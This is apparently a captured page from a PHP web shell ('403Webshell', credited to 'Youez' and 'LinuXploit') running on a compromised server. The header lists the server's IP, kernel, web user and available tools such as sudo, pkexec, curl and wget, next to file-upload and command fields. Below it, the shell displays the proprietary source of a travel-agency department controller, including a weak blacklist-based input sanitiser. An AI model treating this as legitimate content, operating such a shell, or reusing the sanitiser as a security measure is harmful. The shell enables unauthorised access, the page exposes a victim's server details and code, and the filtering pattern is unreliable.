403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/controllers//DepartmentController.php
<?php

/*
 * Catabatic Technology Pvt. Ltd.
 * File Name :DepartmentController.php
 * File Description :Department controller managed all data related to department
 * Created By : Pooja Choudhary
 * Created Date: 28-June-2016
 */

class DepartmentController extends Catabatic_ValidateGtx
{   
    public function init(){        
        parent::init(); 
        $aConfig = $this->getInvokeArg('bootstrap')->getOptions();
        $this->siteUrl = $aConfig['bootstrap']['siteUrl'];
        
        $sessionLogin_user  = new Zend_Session_Namespace('sessionLogin_user');      
        $this->intLoggedinUserId            = $sessionLogin_user->intLoggedinUserId;
        $this->intLoggedinUserGroupSysId    = $sessionLogin_user->intLoggedinUserGroupSysId;
        $this->intLoggedinUserAgencySysId   = $sessionLogin_user->intLoggedinUserAgencySysId;
        $this->intLoggedinUserTrxCurrency   = $sessionLogin_user->intLoggedinUserTrxCurrency;
         
        if(!empty($this->intLoggedinUserAgencySysId)) {
            $this->InfoSourceSysId = '2'; // Information Source is Agent //
        }


        //set layout
//        $this->_helper->layout->setLayout('layout-signup');
        //$this->_helper->layout->disableLayout();
    }
    
 
    

    public function indexAction() {
        $objDept = new Travel_Model_TblAgencyDept();
        $departmentList = $objDept->getDepartmentList();
//        $this->view->departmentList = $departmentList;
        $page = $this->_getParam('page', 1);
        $paginator = Zend_Paginator::factory($departmentList);
        $paginator->setItemCountPerPage(GRID_PER_PAGE_RECORD_COUNT);
        $paginator->setCurrentPageNumber($page);

        $this->view->paginator = $paginator;
        $this->view->messages = $this->_helper->flashMessenger->getMessages();
    }

    public function addDepartmentAction() {
//        print_r($_SESSION['intLoggedinUserAgencySysId']);die;
        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getPost();
             $objDept = new Travel_Model_TblAgencyDept();
            if (!$objDept->isAgencyDeptExists(trim($getData['department']))) {
//            $date = new Zend_Date();
            $currentDate = date('Y-m-d H:i:s');
            
            $dafaForAddDept = array(
                'OrgSysId' => @$_SESSION['sessionLogin_user']['intLoggedinUserAgencySysId'], // agency id(CURRENT_AGENCY_SYS_ID) static for now
                'DeptTitle' => $this->sanitize_data($getData['department']),
                'IsActive' => $getData['status'],
                'IsMarkForDel' => 0,
                'CreatedDate' => $currentDate
            );
            //Insert agency department
            $objDept = new Travel_Model_TblAgencyDept();
            $objDeptRes = $objDept->addAgencyDept($dafaForAddDept);
            $this->_helper->flashMessenger->addMessage("Department added successfully.");
            $this->_redirect("/department");
            } else{
               $this->view->message = 'Department already exists.'; 
            }
        }
    }

    public function editDepartmentAction() {
        $DeptSysId = base64_decode($this->getRequest()->getParam('id'));
        
        $objDept = new Travel_Model_TblAgencyDept();
        $result = $objDept->getDataByDepartment($DeptSysId);
        $this->view->deptData = $result;

        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getPost();
            $DeptSysId = base64_decode($getData['depId']);
            $objDept = new Travel_Model_TblAgencyDept();
            if (!$objDept->isAgencyDeptExists(trim($getData['department']), $DeptSysId)) {
                $dataForAddDept = array(
                    'DeptTitle' => $this->sanitize_data($getData['department']),
                    'IsActive' => $getData['status'],
                );
                //update agency department
                $objDeptRes = $objDept->updateAgencyDeptData($dataForAddDept, $DeptSysId);
                $this->_helper->flashMessenger->addMessage("Department updated successfully.");
                $this->_redirect("/department");
            } else {
                $this->view->message = 'Department already exists.';
            }
        } 
    }

    public function departmentExistsAction() {
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);

        $deptTitle = $this->getRequest()->getParam('department');
        $depId = base64_decode($this->getRequest()->getParam('depId'));

        $objDept = new Travel_Model_TblAgencyDept();
        if ($objDept->isAgencyDeptExists(trim($deptTitle), $depId)) {
            // echo true;
            echo json_encode(false);
        } else {
            echo json_encode(true);
        }
    }

    public function activeAction(){
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getPost();
            $objDept = new Travel_Model_TblAgencyDept();
            $depId = $getData['depId'];
            $isOps = $getData['isOps'];
            $OrgSysId = $getData['OrgSysId'];
        if ($depId) {
            try {  
                if($isOps==0){
                    $updatedata = [
                    'IsOps' => 0
                ];
                $objDeptRes = $objDept->updateAgencyDeptData($updatedata, $depId);
                if (!$objDeptRes || $objDeptRes!=1) {
                    $result_message = ['status' => false, 'message' => 'Oops something wrong!!'];
                    echo Zend_Json::encode($result_message);
                    exit;
                } else {
                    $result_message = ['status' => true, 'message' => 'Active successfully'];
                    echo Zend_Json::encode($result_message);
                    exit;
                }
                }
                $checkIsOps = $objDept->checkIsOpsDept($OrgSysId);
//                print_r($checkIsOps);die;
                if(isset($checkIsOps) && !empty($checkIsOps)){
                    $result_message = ['status' => false, 'message' => 'Firstly deactivate the previous checkbox then activate this'];
                    echo Zend_Json::encode($result_message);
                    exit;
                }
                $updatedata = [
                    'IsOps' => $isOps
                ];
                $objDeptRes = $objDept->updateAgencyDeptData($updatedata, $depId);
                if (!$objDeptRes || $objDeptRes!=1) {
                    $result_message = ['status' => false, 'message' => 'Oops something wrong!!'];
                    echo Zend_Json::encode($result_message);
                    exit;
                } else {
                    $result_message = ['status' => true, 'message' => 'Active successfully'];
                    echo Zend_Json::encode($result_message);
                    exit;
                }
            } catch (Exception $ex) {
                $ex->getMessage();
            }
        }
        }
    }


    public function sanitize_data($input_data) {
        $searchArr = array("document", "write", "alert", "%", "$", ";", "+", "|", "#", "<", ">", ")", "(", "'", "\'", ",", "AND", "JAVASCRIPT");
        $input_data = str_replace("script", "", $input_data);
        $input_data = str_replace("iframe", "", $input_data);
        $input_data = str_replace($searchArr, "", $input_data);

        return htmlentities(stripslashes($input_data), ENT_QUOTES);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit